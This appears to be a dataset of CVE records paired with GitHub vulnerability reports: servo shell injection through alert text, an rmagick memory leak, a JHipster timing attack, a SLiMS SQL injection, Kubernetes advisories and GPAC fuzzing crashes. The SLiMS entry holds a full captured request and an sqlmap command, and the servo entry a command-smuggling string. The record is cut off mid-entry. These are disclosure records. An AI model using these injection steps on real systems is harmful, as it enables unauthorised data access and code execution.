``` | Bugs from Fuzzing | https://api.github.com/repos/InternationalColorConsortium/DemoIccMAX/issues/54/comments | 0 | 2023-10-26T18:51:51Z | 2024-05-09T02:28:54Z | https://github.com/InternationalColorConsortium/DemoIccMAX/issues/54 | 1,964,174,295 | 54 | 5,709 |
CVE-2020-36767 | 2023-10-30T19:15:07.767 | tinyfiledialogs (aka tiny file dialogs) before 3.8.0 allows shell metacharacters in titles, messages, and other input data. | {
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] | 94 | https://github.com/servo/servo/issues/25498#issuecomment-703527082 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"servo",
"servo"
] | I took a quick look at the issues, but I didn't find a similar one. Also, I hope that this is the right repository to report this.
Opening this HTML file executes code on the client:
```html
<html>
<script>
alert("Hey, `id`!");
</script>
</html>
```
In the console this produces the following output which is fine:
```
ALERT: Hey, `id`!
```
But the popup shows that `id` is indeed being run:
I reported this issue over at https://github.com/jdm/tinyfiledialogs-rs/issues/19 half a year ago but I'm not sure it is going to be fixed there.
I downloaded the nightly build from servo.org today and ran it under Ubuntu 18.04 amd64. | alert leads to code execution on Linux | https://api.github.com/repos/servo/servo/issues/25498/comments | 7 | 2020-01-12T13:28:18Z | 2025-04-24T22:44:48Z | https://github.com/servo/servo/issues/25498 | 548,570,631 | 25,498 | 5,710 |
CVE-2023-5349 | 2023-10-30T21:15:07.643 | A memory leak flaw was found in ruby-magick, an interface between Ruby and ImageMagick. This issue can lead to a denial of service (DOS) by memory exhaustion. | {
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"401"
] | 401 | https://github.com/rmagick/rmagick/issues/1401 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"rmagick",
"rmagick"
] | ### Description
Long running ruby process creating images with rmagick consumes massive amounts of memory since most recent ImageMagick-6.9.12-90.tar.gz release.
### Steps to Reproduce
Install latest imagemagick@6 (https://formulae.brew.sh/api/formula/imagemagick@6.json) and install rmagick 5.2.0. Long running ruby process to create thousands of graph images. Process consumes way more memory that cripples host machine.
I'm suggesting this memory issue is a result of the latest security updates to ImageMagick 6. I understand this might not be the right place for this issue but I figured I'd start here first.
/usr/local/Cellar/imagemagick@6/6.9.12-67 => 248mbs of memory that plateaus out.
/usr/local/Cellar/imagemagick@6/6.9.12-90 => 7Gigs of memory that keeps accruing exponentially
This issue has come up since the latest ImageMagick release (ImageMagick-6.9.12-90.tar.gz) which came out June 25th 2023 and subsequent Ubuntu packages (imagemagickwand-dev [8:6.9.10.23+dfsg-2.1ubuntu11.9]) and MacOS (imagemagick@6 /usr/local/Cellar/imagemagick@6/6.9.12-90).
### System Configuration
Ubuntu 20 LTS (8:6.9.10.23+dfsg-2.1ubuntu11.9 [security]: amd64 i386)
MacOS 12.6.7 (https://formulae.brew.sh/api/formula/imagemagick@6.json)
- ImageMagick version: ImageMagick-6.9.12-90
- RMagick version: 5.2.0
- Ruby version: 3.1.2
- Environment (Operating system, version and so on): MacOS 12.6.7, Ubuntu 20 LTS
- Additional information:
In both MacOS and Ubuntu 20 LTS with the same code ruby app memory consumption increases exponentially until, in the case of Ubuntu 20 LTS, the process is killed.
https://www.ubuntuupdates.org/package/core/focal/universe/updates/imagemagick
imagemagickwand-dev [8:6.9.10.23+dfsg-2.1ubuntu11.7] works great!
imagemagickwand-dev [8:6.9.10.23+dfsg-2.1ubuntu11.9] memory hog, kills process
https://github.com/Homebrew/homebrew-core/blob/master/Formula/imagemagick@6.rb
[imagemagick@6: update 6.9.12-67 bottle.]https://github.com/Homebrew/homebrew-core/blob/b8ea6da2121433feb4fb67a47b2600c9e54e7402/Formula/imagemagick%406.rb works great!
[imagemagick@6: update 6.9.12-90 bottle.](https://github.com/Homebrew/homebrew-core/commit/8538e43f6e405627220197e571d5aff81c05e7af) memory hog, kills process
### Steps I've tried to free up memory
Tried to use #destroy!
```
image = Magick::Image.read(file)
image.format = "PNG"
image.write("/home/png/#{File.basename(file, '.*')}.png")
image.destroy!
```
Tried to nil out image object
```
image = Magick::Image.read(file)
image.format = "PNG"
image.write("/home/png/#{File.basename(file, '.*')}.png")
image = nil
```
and even GC.start
```
image = Magick::Image.read(file)
image.format = "PNG"
image.write("/home/png/#{File.basename(file, '.*')}.png")
GC.start
```
Memory consumption increases exponentially with newest imagemagick security release.
| Huge memory consumption with latest imagemagick@6 update | https://api.github.com/repos/rmagick/rmagick/issues/1401/comments | 29 | 2023-07-07T13:47:42Z | 2025-03-28T16:58:00Z | https://github.com/rmagick/rmagick/issues/1401 | 1,793,583,138 | 1,401 | 5,711 |
CVE-2015-20110 | 2023-10-31T03:15:07.613 | JHipster generator-jhipster before 2.23.0 allows a timing attack against validateToken due to a string comparison that stops at the first character that is different. Attackers can guess tokens by brute forcing one character at a time and observing the timing. This of course drastically reduces the search space to a linear amount of guesses based on the token length times the possible characters. | {
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] | github.com | [
"jhipster",
"generator-jhipster"
] | The TokenProvider uses `String.equals(str)` to compare the given token-signature with a calculated one. This method uses a break-on-inequality algorithm. This makes the TokenProvider vulnerable to timing attacks, where an attacker can forge a token with any username more easily than using brute force.
[Coda Hale did a nice blog post on this topic](http://codahale.com/a-lesson-in-timing-attacks/)
| Security: TokenProvider vulnerable to timing attacks | https://api.github.com/repos/jhipster/generator-jhipster/issues/2095/comments | 6 | 2015-10-06T16:05:56Z | 2016-08-12T02:42:34Z | https://github.com/jhipster/generator-jhipster/issues/2095 | 110,043,433 | 2,095 | 5,712 |
CVE-2023-45996 | 2023-10-31T06:15:07.883 | SQL injection vulnerability in Senayan Library Management Systems Slims v.9 and Bulian v.9.6.1 allows a remote attacker to obtain sensitive information and execute arbitrary code via a crafted script to the reborrowLimit parameter in the member_type.php. | {
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] | github.com | [
"slims",
"slims9_bulian"
] | # The Bug
A SQL Injection has found in `admin/modules/membership/member_type.php` at the code below
```
$data['member_type_name'] = $dbs->escape_string($memberTypeName);
$data['loan_limit'] = trim($_POST['loanLimit']);
$data['loan_periode'] = trim($_POST['loanPeriode']);
$data['enable_reserve'] = $_POST['enableReserve'];
$data['reserve_limit'] = $_POST['reserveLimit'];
$data['member_periode'] = $_POST['memberPeriode'];
$data['reborrow_limit'] = $_POST['reborrowLimit'];
$data['fine_each_day'] = $_POST['fineEachDay'];
$data['grace_periode'] = $_POST['gracePeriode'];
$data['input_date'] = date('Y-m-d');
$data['last_update'] = date('Y-m-d');
```
### To Reproduce
Steps to reproduce the behavior:
1. Login as admin or user that has access membership type
2. Make sure the burp application is turned on to capture the request as screenshot below
3. Save the request in a separate file (sample.reg)
sample.reg example
```
POST /slims9_bulian-9.6.1/admin/modules/membership/member_type.php?itemID=2&detail=true&ajaxload=1& HTTP/1.1
Host: localhost
Content-Length: 1420
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQUBKpazqdLdsHspa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=membership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=f5581i7ero1b1mitlh328upvmt; admin_logged_in=1; SenayanMember=37qocaml59lu0snk1tt3n74qgn
Connection: close
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="csrf_token"
29ad9eb49edd5718652dff82f33e7ecb4000e5f376eac9d52346c6843c5b9d16
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="form_name"
mainForm
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="memberTypeName"
abcdef
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="loanLimit"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="loanPeriode"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="enableReserve"
1
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="reserveLimit"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="memberPeriode"
1
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="reborrowLimit"
4423
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="fineEachDay"
1
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="gracePeriode"
0
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="saveData"
Update
------WebKitFormBoundaryQUBKpazqdLdsHspa
Content-Disposition: form-data; name="updateRecordID"
2
------WebKitFormBoundaryQUBKpazqdLdsHspa--
```
run the test with the following command:
```
sqlmap -r example.req --level 5 --risk 3 -p reborrowLimit --random-agent --dbms=mysql --current-user
```
5. You've entered into the system
## Screenshots
## Versions
- OS: Windows
- Browser: Brave Browser | Version 1.57.57 Chromium: 116.0.5845.163 (Official Build) (64-bit)
- Slims Version: slims9_bulian-9.6.1
| Vuln0wned Report: SQL Injection in member_type.php | https://api.github.com/repos/slims/slims9_bulian/issues/216/comments | 3 | 2023-10-08T16:42:47Z | 2025-01-01T11:05:28Z | https://github.com/slims/slims9_bulian/issues/216 | 1,931,906,656 | 216 | 5,713 |
CVE-2023-3676 | 2023-10-31T21:15:08.550 | A security issue was discovered in Kubernetes where a user
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"kubernetes",
"kubernetes"
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A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes.
### Am I vulnerable?
Any kubernetes environment with Windows nodes is impacted. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use.
#### Affected Versions
- kubelet <= v1.28.0
- kubelet <= v1.27.4
- kubelet <= v1.26.7
- kubelet <= v1.25.12
- kubelet <= v1.24.16
### How do I mitigate this vulnerability?
The provided patch fully mitigates the vulnerability and has no known side effects. Full mitigation for this class of issues requires patches applied for CVE-2023-3676, CVE-2023-3955, and CVE-2023-3893.
Outside of applying the provided patch, there are no known mitigations to this vulnerability.
#### Fixed Versions
- kubelet master - fixed by #120127
- kubelet v1.28.1 - fixed by #120129
- kubelet v1.27.5 - fixed by #120130
- kubelet v1.26.8 - fixed by #120131
- kubelet v1.25.13 - fixed by #120132
- kubelet v1.24.17 - fixed by #120133
To upgrade, refer to the documentation:
https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/
### Detection
Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Pod create events with embedded powershell commands are a strong indication of exploitation. Config maps and secrets that contain embedded powershell commands and are mounted into pods are also a strong indication of exploitation.
If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io
#### Acknowledgements
This vulnerability was reported by Tomer Peled @tomerpeled92
The issue was fixed and coordinated by the fix team:
James Sturtevant @jsturtevant
Mark Rossetti @marosset
Andy Zhang @andyzhangx
Justin Terry @jterry75
Kulwant Singh @KlwntSingh
Micah Hausler @micahhausler
Rita Zhang @ritazh
and release managers:
Jeremy Rickard @jeremyrickard
/triage accepted
/lifecycle frozen
/area security
/kind bug
/committee security-response | CVE-2023-3676: Insufficient input sanitization on Windows nodes leads to privilege escalation | https://api.github.com/repos/kubernetes/kubernetes/issues/119339/comments | 3 | 2023-07-14T18:27:48Z | 2023-10-31T20:30:00Z | https://github.com/kubernetes/kubernetes/issues/119339 | 1,805,330,606 | 119,339 | 5,714 |
CVE-2023-3955 | 2023-10-31T21:15:08.613 | A security issue was discovered in Kubernetes where a user
that can create pods on Windows nodes may be able to escalate to admin
privileges on those nodes. Kubernetes clusters are only affected if they
include Windows nodes. | {
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"Exploit",
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"Patch",
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] | github.com | [
"kubernetes",
"kubernetes"
] | CVSS Rating: [CVSS:3.1/av:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) - **HIGH** (8.8)
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes.
### Am I vulnerable?
Any kubernetes environment with Windows nodes is impacted. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use.
#### Affected Versions
- kubelet <= v1.28.0
- kubelet <= v1.27.4
- kubelet <= v1.26.7
- kubelet <= v1.25.12
- kubelet <= v1.24.16
### How do I mitigate this vulnerability?
The provided patch fully mitigates the vulnerability (see fix impact below). Full mitigation for this class of issues requires patches applied for CVE-2023-3676, CVE-2023-3955, and CVE-2023-3893.
Outside of applying the provided patch, there are no known mitigations to this vulnerability.
#### Fixed Versions
- kubelet master - fixed by #120128
- kubelet v1.28.1 - fixed by #120134
- kubelet v1.27.5 - fixed by #120135
- kubelet v1.26.8 - fixed by #120136
- kubelet v1.25.13 - fixed by #120137
- kubelet v1.24.17 - fixed by #120138
**Fix impact:** Passing Windows Powershell disk format options to in-tree volume plugins will result in an error during volume provisioning on the node. There are no known use cases for this functionality, nor is this functionality supported by any known out-of-tree CSI driver.
To upgrade, refer to the documentation:
https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/
### Detection
Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Pod create events with embedded powershell commands are a strong indication of exploitation.
If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io
#### Acknowledgements
This vulnerability was discovered by James Sturtevant @jsturtevant and Mark Rossetti @marosset during the process of fixing CVE-2023-3676 (that original CVE was reported by Tomer Peled @tomerpeled92)
The issue was fixed and coordinated by the fix team:
James Sturtevant @jsturtevant
Mark Rossetti @marosset
Andy Zhang @andyzhangx
Justin Terry @jterry75
Kulwant Singh @KlwntSingh
Micah Hausler @micahhausler
Rita Zhang @ritazh
and release managers:
Jeremy Rickard @jeremyrickard | CVE-2023-3955: Insufficient input sanitization on Windows nodes leads to privilege escalation | https://api.github.com/repos/kubernetes/kubernetes/issues/119595/comments | 2 | 2023-07-26T15:30:50Z | 2023-11-01T00:33:34Z | https://github.com/kubernetes/kubernetes/issues/119595 | 1,822,677,454 | 119,595 | 5,715 |
CVE-2023-46930 | 2023-11-01T14:15:38.250 | GPAC 2.3-DEV-rev605-gfc9e29089-master contains a SEGV in gpac/MP4Box in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14. | {
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"787"
] | 787 | https://github.com/gpac/gpac/issues/2666 | [
"Vendor Advisory"
] | github.com | [
"gpac",
"gpac"
] | # SEGV in MP4Box
### Description
SEGV in gpac/MP4Box.
#0 0x7ffff6697edd in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -def -saf -unhint -ocr -out /dev/null poc5gpac
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3351432==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000002c (pc 0x7ffff6697edd bp 0x7ffffffe65f0 sp 0x7ffffffe6420 T0)
==3351432==The signal is caused by a READ memory access.
==3351432==Hint: address points to the zero page.
#0 0x7ffff6697edd in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14
#1 0x7ffff6910e8e in gf_media_export_saf /afltest/gpac/src/media_tools/media_export.c:851:16
#2 0x7ffff69121c1 in gf_media_export /afltest/gpac/src/media_tools/media_export.c:1391:49
#3 0x4fe755 in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6577:7
#4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/isomedia/media_odf.c:522:14 in gf_isom_find_od_id_for_track
==3351432==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -def -saf -unhint -ocr -out /dev/null poc5gpac
```
### PoC
poc5gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc5gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | SEGV in gpac/MP4Box in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14 | https://api.github.com/repos/gpac/gpac/issues/2666/comments | 0 | 2023-10-25T06:06:04Z | 2023-10-26T10:37:04Z | https://github.com/gpac/gpac/issues/2666 | 1,960,612,139 | 2,666 | 5,716 |
CVE-2023-46931 | 2023-11-01T14:15:38.640 | GPAC 2.3-DEV-rev605-gfc9e29089-master contains a heap-buffer-overflow in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14 in gpac/MP4Box. | {
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] | github.com | [
"gpac",
"gpac"
] | # heap-buffer-overflow in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14 in gpac/gpac
### Description
Heap-buffer-overflow in MP4Box.
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -dash 1000 -diod -ts -dynamic -out /dev/null poc4gpac
```shell
=================================================================
==2427334==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000008f2c at pc 0x7ffff7382cb6 bp 0x7ffffffebc30 sp 0x7ffffffebc28
READ of size 4 at 0x602000008f2c thread T0
#0 0x7ffff7382cb5 in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14
#1 0x7ffff7382cb5 in ffdmx_init_common /afltest/gpac/src/filters/ff_dmx.c:1240:4
#2 0x7ffff738a0ca in ffdmx_initialize /afltest/gpac/src/filters/ff_dmx.c:1457:9
#3 0x7ffff6e7fa09 in gf_filter_new_finalize /afltest/gpac/src/filter_core/filter.c:543:8
#4 0x7ffff6e6f252 in gf_fs_load_source_dest_internal /afltest/gpac/src/filter_core/filter_session.c:3558:7
#5 0x7ffff6e94cf0 in gf_filter_swap_source_register /afltest/gpac/src/filter_core/filter.c:3824:2
#6 0x7ffff6e0c7be in gf_filter_pid_resolve_link_internal /afltest/gpac/src/filter_core/filter_pid.c:3545:11
#7 0x7ffff6e1b131 in gf_filter_pid_resolve_link_check_loaded /afltest/gpac/src/filter_core/filter_pid.c:3824:9
#8 0x7ffff6e1b131 in gf_filter_pid_init_task /afltest/gpac/src/filter_core/filter_pid.c:5111:12
#9 0x7ffff6e63b29 in gf_fs_thread_proc /afltest/gpac/src/filter_core/filter_session.c:2105:3
#10 0x7ffff6e6257d in gf_fs_run /afltest/gpac/src/filter_core/filter_session.c:2405:3
#11 0x7ffff67a6e5c in gf_dasher_process /afltest/gpac/src/media_tools/dash_segmenter.c:1236:6
#12 0x50dfc7 in do_dash /afltest/gpac/applications/mp4box/mp4box.c:4831:15
#13 0x50dfc7 in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6245:7
#14 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#15 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
0x602000008f2c is located 4 bytes to the left of 16-byte region [0x602000008f30,0x602000008f40)
allocated by thread T0 here:
#0 0x4a3809 in realloc (/afltest/gpac/bin/gcc/MP4Box+0x4a3809)
#1 0x7ffff3bafda6 in av_stream_add_side_data (/lib/x86_64-linux-gnu/libavformat.so.58+0x1bdda6)
SUMMARY: AddressSanitizer: heap-buffer-overflow /afltest/gpac/src/filters/ff_dmx.c:202:14 in ffdmx_parse_side_data
Shadow bytes around the buggy address:
0x0c047fff9190: fa fa 02 fa fa fa 00 05 fa fa 00 06 fa fa fd fa
0x0c047fff91a0: fa fa 07 fa fa fa 00 fa fa fa fd fd fa fa 00 06
0x0c047fff91b0: fa fa 00 01 fa fa 04 fa fa fa 00 fa fa fa 00 07
0x0c047fff91c0: fa fa 00 00 fa fa 07 fa fa fa 00 fa fa fa fd fd
0x0c047fff91d0: fa fa 00 06 fa fa 00 01 fa fa 04 fa fa fa 00 fa
=>0x0c047fff91e0: fa fa 00 00 fa[fa]00 00 fa fa fd fd fa fa fd fa
0x0c047fff91f0: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa
0x0c047fff9200: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff9210: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa
0x0c047fff9220: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
0x0c047fff9230: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2427334==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -dash 1000 -diod -ts -dynamic -out /dev/null poc4gpac
```
*Thanks* *for* *your* *time*!
### PoC
poc4gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc4gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | heap-buffer-overflow in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14 in gpac/MP4Box | https://api.github.com/repos/gpac/gpac/issues/2664/comments | 0 | 2023-10-24T13:31:01Z | 2023-10-26T10:37:05Z | https://github.com/gpac/gpac/issues/2664 | 1,959,261,781 | 2,664 | 5,717 |
CVE-2023-46927 | 2023-11-01T15:15:08.707 | GPAC 2.3-DEV-rev605-gfc9e29089-master contains a heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/MP4Box. | {
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"gpac",
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] | # heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/gpac
### Description
Heap-buffer-overflow in MP4Box.
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -add self:moovts=-1:noedit:stz2:profile=high:level=7 poc1gpac
```shell
=================================================================
==3459603==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006b71 at pc 0x0000004a2c4f bp 0x7ffffffec1a0 sp 0x7ffffffeb968
WRITE of size 4 at 0x602000006b71 thread T0
#0 0x4a2c4e in __asan_memset (/afltest/gpac/bin/gcc/MP4Box+0x4a2c4e)
#1 0x7ffff665aacc in gf_isom_use_compact_size /afltest/gpac/src/isomedia/isom_write.c:3403:3
#2 0x54e099 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1707:8
#3 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#4 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#5 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
0x602000006b71 is located 0 bytes to the right of 1-byte region [0x602000006b70,0x602000006b71)
allocated by thread T0 here:
#0 0x4a34ed in malloc (/afltest/gpac/bin/gcc/MP4Box+0x4a34ed)
#1 0x7ffff665aa7d in gf_isom_use_compact_size /afltest/gpac/src/isomedia/isom_write.c:3401:24
SUMMARY: AddressSanitizer: heap-buffer-overflow (/afltest/gpac/bin/gcc/MP4Box+0x4a2c4e) in __asan_memset
Shadow bytes around the buggy address:
0x0c047fff8d10: fa fa 00 04 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8d20: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa 00 05
0x0c047fff8d30: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8d40: fa fa 00 00 fa fa 00 00 fa fa 04 fa fa fa 00 00
0x0c047fff8d50: fa fa 00 00 fa fa fd fd fa fa fd fa fa fa fd fd
=>0x0c047fff8d60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[01]fa
0x0c047fff8d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3459603==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -add self:moovts=-1:noedit:stz2:profile=high:level=7 poc1gpac
```
### PoC
poc1gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc1gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/gpac | https://api.github.com/repos/gpac/gpac/issues/2657/comments | 0 | 2023-10-22T20:14:14Z | 2023-10-23T13:23:29Z | https://github.com/gpac/gpac/issues/2657 | 1,956,040,458 | 2,657 | 5,718 |
CVE-2023-46928 | 2023-11-01T15:15:08.753 | GPAC 2.3-DEV-rev605-gfc9e29089-master contains a SEGV in gpac/MP4Box in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42. | {
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"gpac",
"gpac"
] | # SEGV in MP4Box
### Description
SEGV in gpac/MP4Box.
#0 0x7ffff6798224 in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
